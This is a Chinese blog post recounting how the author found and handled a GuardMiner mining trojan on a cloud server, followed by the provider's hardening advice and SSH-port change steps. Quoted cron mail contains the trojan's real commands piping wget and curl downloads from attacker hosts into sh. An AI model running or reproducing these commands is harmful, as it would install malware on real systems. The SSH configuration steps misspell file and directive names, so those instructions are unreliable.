今早起来,吃完早餐后,准备在服务器上开始日常学习
本来今天准备玩的工具是 Alibaba 的 arthas
我开开心心的把 arthas 的教学视频和文档看完的时候,登陆服务器准备开干了
后来发现我的百度云服务器被黑了一个木马…而且是很久之前(8月初植入的)…我竟然这么久没发现
不过这事还是比较有意思,第一次遇到服务器被攻击…
所以把排查的过程中的思路和指令记录一下,希望对大家有帮助
资料链接:挖矿木马 GuardMiner
在centos上敲命令的时候,每次敲完都会出现,越发的感觉不对劲…
You have new mail in /var/spool/mail/root
一开始没管它,后来几乎半分钟就会出现一次,我觉得应该是后台什么线程在循环调用
我觉得应该先把这个问题解决了,不然每次敲命令都会出现,太难受了
所以我查看了一下这个文件,文件很大,大概有300M左右,所以查看最后写入的数据吧
tail -n 200 /var/spool/mail/root
日志内容,重复打印这两段消息:
/bin/sh: curl: command not found
From [email protected] Sun Aug 23 13:40:01 2020
Return-Path:
X-Original-To: root
Delivered-To: [email protected]
Received: by instance-g1almmmy.localdomain (Postfix, from userid 0)
id C2020120B4A; Sun, 23 Aug 2020 13:40:01 +0800 (CST)
From: "(Cron Daemon)"
To: [email protected]
Subject: Cron wget -qO- -U- 120.27.26.189:81/8|sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
Message-Id: <[email protected]>
Date: Sun, 23 Aug 2020 13:40:01 +0800 (CST)
/bin/sh: wget: command not found
From [email protected] Sun Aug 23 13:40:01 2020
Return-Path:
X-Original-To: root
Delivered-To: [email protected]
Received: by instance-g1almmmy.localdomain (Postfix, from userid 0)
id C72021204B0; Sun, 23 Aug 2020 13:40:01 +0800 (CST)
From: "(Cron Daemon)"
To: [email protected]
Subject: Cron curl -fsSL http://d.powerofwish.com/pm.sh | sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
Message-Id: <[email protected]>
Date: Sun, 23 Aug 2020 13:40:01 +0800 (CST)
这里看不出什么猫腻,只感觉占用了不少磁盘
因为定时就会出现,大概半分钟左右的样子,所以先去看下定时任务
[root@instance-g1almmmy cron]# ll /var/spool/cron
total 4
-rw------- 1 root root 47 Aug 4 01:21 root
很明显,确实有人在8月4号01时21分,用root账户改过定时任务,很明显服务器被攻击了
先看下定时脚本的内容吧
[root@instance-g1almmmy cron]# cat root
*/30 * * * * sh /etc/newdat.sh >/dev/null 2>&1
这个是 黑客植入挖矿木马 GuardMiner(后来知道的)
当时不知道是什么,想的是先把定时任务删除
[root@instance-g1almmmy ~]# crontab -e
crontab: installing new crontab
/var/spool/cron/#tmp.instance-g1almmmy.XXXXfrjabi: Permission denied
crontab: edits left in /tmp/crontab.ux9TLM
权限不足…我root修改提示权限不足…难道是文件属性被改了?所以我使用了 lsattr 命令查看文件属性
[root@instance-g1almmmy ~]# lsattr /var/spool/cron/
----i--------e-- /var/spool/cron/root
i:设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容
e: 表示该文件使用ext文件系统存储
这就可以确认服务器确实被黑了,接下来就是想办法解决…
当时想的办法就是这几个
要修改这个文件,得先把文件属性里的不可改变(i)去掉,使用 chattr 指令
chattr -i /var/spool/cron/root
这里是去掉 i 属性,如果要加上则是 +i
去掉之后,使用 rm 指令删除
[root@instance-g1almmmy cron]# rm -f root
note:rm慎用…特别是生产环境
发现文件果然能删掉
反复几次后,发现这个问题有点棘手
查一下newdat.sh文件
[root@instance-g1almmmy etc]# ll /etc/ |grep newdat.sh
-rwxrwxrwx 1 root root 0 Aug 4 01:21 newdat.sh
一个隐藏大小的文件,感觉删除也不能解决问题,所以我没删除
分析一下:
因为定时任务是调用 newdat.sh 去做事的,所以大概率不会是newdat.sh生成的定时任务
思来想去,最后还是提交了工单,虽然我是很想自己解决的
经过了一系列的排查,果然是个木马
而且还没什么好的解决办法,这类木马都有后门,删除又会生成新的
所以百度云那边最后得出的结论是:把文件备份到本地后,重装操作系统
其实一开始我是拒绝的,我一堆数据在上面…还有系统环境什么的
后来耐心听了百度云那边的工程师解释了之后,还是把重要的文件备份了,重装了操作系统
附上结论截图
百度智能云工程师:
已经与您电话沟通了。查看您的服务器内有异常计划任务和脚本,综合您之前发送的计划任务,判断您是被黑了,是中了挖矿病毒,建议您这边重置操作系统以用来解除安全隐患,BCC重置或重装操作系统有两种方式(重置操作系统会导致系统盘所有数据丢失,并且该实例系统盘创建的快照也会全部丢失,请您做好备份后谨慎操作。),1.选择“产品服务>云服务器BCC”,可看到用户已创建的云服务器列表。选择该实例,点击“更多操作>重装操作系统”。2.在“实例名称”列,选择该云服务器的ID链接,进入“实例详情”页面。点击页面中的“重装操作系统”,进行系统的重装。详细参考:https://cloud.baidu.com/doc/BCC/s/8jwvynn4c。服务器安全方面,1.建议业务不需要的端口在防火墙或安全组设置拦截,不对外开放。安全组参考:https://cloud.baidu.com/doc/BCC/s/pjwvynbbm、2.定期更改密码,增加密码复杂度、3.安装安全狗,火绒之类的安全产品,定期查杀病毒4.使用自动快照策略定期创建快照。以便在出现问题时,可以及时回滚数据。自动快照策略参考:https://cloud.baidu.com/doc/CDS/s/sjwvyaern#%E5%88%9B%E5%BB%BA%E8%87%AA%E5%8A%A8%E5%BF%AB%E7%85%A7、这边给您提供下具体的安全加固方案,windows参考:https://cloud.baidu.com/doc/SR/s/Lk
your_port:你要修改的远程连接端口号
在云控制台上,安全组规则里加入your_port
修改两个配置文件
vim /etc/ssh/shh_config
vim /etc/ssh/shhd_config
把Prot注释打开,修改为
Port your_port
注:两个文件都需要改
重启sshd服务,使更改生效
systemctl restart sshd
先查看防火墙规则里有没有your_port,如果有的话,就不需要添加
firewall-cmd --query-port=your_port/tcp
yes:有
no:没有
your_port加入防火墙规则,重启防火墙
firewall-cmd --add-port=your_port/tcp --permanent
重启防火墙,使配置生效
firewall-cmd --reload
查看防火墙规则里有没有your_port,如果有的话,就不需要添加
firewall-cmd --query-port=your_port/tcp
yes:有
no:没有
your_port加入防火墙规则,重启防火墙
firewall-cmd --add-port=your_port/tcp --permanent
重启防火墙,使配置生效
firewall-cmd --reload
大功告成,完成以上步骤就能对服务器进行远程连接了